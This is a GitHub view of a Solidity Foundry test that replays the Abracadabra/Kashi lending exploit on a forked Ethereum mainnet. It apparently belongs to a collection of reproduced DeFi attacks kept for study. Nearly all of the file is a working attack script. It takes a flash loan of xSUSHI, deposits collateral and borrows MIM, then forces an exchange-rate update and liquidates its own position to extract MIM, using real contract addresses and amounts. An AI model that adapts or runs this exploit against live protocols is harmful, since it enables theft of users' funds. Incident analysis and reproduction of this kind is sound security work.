-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Kashi_exp.sol
114 lines (97 loc) · 4.38 KB
/
Kashi_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @Analysis
// https://eigenphi.substack.com/p/casting-a-magic-spell-on-abracadabra
// https://twitter.com/BlockSecTeam/status/1603633067876155393
// @TX
// https://etherscan.io/tx/0x3d163bfbec5686d428a6d43e45e2626a220cc4fcfac7620c620b82c1f2537c78
interface BentoBoxV1 {
function batchFlashLoan(
address borrower,
address[] calldata receivers,
address[] calldata tokens,
uint256[] calldata amounts,
bytes calldata data
) external;
function setMasterContractApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external;
function deposit(address token_, address from, address to, uint256 amount, uint256 share) external;
function withdraw(address token_, address from, address to, uint256 amount, uint256 share) external;
function balanceOf(address token, address account) external returns (uint256);
}
interface CauldronMediumRiskV1 {
function addCollateral(address to, bool skim, uint256 share) external;
function borrow(address to, uint256 amount) external;
function updateExchangeRate() external;
function liquidate(
address[] calldata users,
uint256[] calldata maxBorrowParts,
address to,
address swapper
) external;
}
contract ContractTest is Test {
BentoBoxV1 BentBox = BentoBoxV1(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);
CauldronMediumRiskV1 Cauldron = CauldronMediumRiskV1(0xbb02A884621FB8F5BFd263A67F58B65df5b090f3);
IERC20 xSUSHI = IERC20(0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272);
IERC20 MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ISushiSwap Router = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
address masterContract = 0x4a9Cb5D0B755275Fd188f87c0A8DF531B0C7c7D2;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 15_928_289);
}
function testExploit() public {
MIM.approve(address(Router), type(uint256).max);
address[] memory receivers = new address[](2);
receivers[0] = address(this);
receivers[1] = address(this);
address[] memory tokens = new address[](2);
tokens[0] = address(xSUSHI);
tokens[1] = address(MIM);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 450_000 * 1e18;
amounts[1] = 0;
BentBox.batchFlashLoan(address(this), receivers, tokens, amounts, new bytes(1));
emit log_named_decimal_uint("[End] Attacker MIM balance after exploit", MIM.balanceOf(address(this)), 18);
}
function onBatchFlashLoan(
address sender,
IERC20[] calldata tokens,
uint256[] calldata amounts,
uint256[] calldata fees,
bytes calldata data
) external {
BentBox.setMasterContractApproval(address(this), masterContract, true, uint8(0), bytes32(0), bytes32(0));
xSUSHI.approve(address(BentBox), type(uint256).max);
BentBox.deposit(address(xSUSHI), address(this), address(this), 0, 420_000 * 1e18);
Cauldron.addCollateral(address(this), false, 420_000 * 1e18);
Cauldron.borrow(address(this), 800_000 * 1e18);
Cauldron.updateExchangeRate();
address[] memory users = new address[](1);
users[0] = address(this);
uint256[] memory maxBorrowParts = new uint256[](1);
maxBorrowParts[0] = 680_000 * 1e18;
Cauldron.liquidate(users, maxBorrowParts, address(this), address(0));
BentBox.withdraw(
address(xSUSHI), address(this), address(this), 0, BentBox.balanceOf(address(xSUSHI), address(this))
);
BentBox.withdraw(address(MIM), address(this), address(this), 0, BentBox.balanceOf(address(MIM), address(this)));
uint256 swapAmount = 450_000 * 1e18 * 10_005 / 10_000 - xSUSHI.balanceOf(address(this));
address[] memory path = new address[](3);
path[0] = address(MIM);
path[1] = address(WETH);
path[2] = address(xSUSHI);
Router.swapTokensForExactTokens(swapAmount, type(uint256).max, path, address(this), block.timestamp);
xSUSHI.transfer(address(BentBox), 450_225 * 1e18);
}
}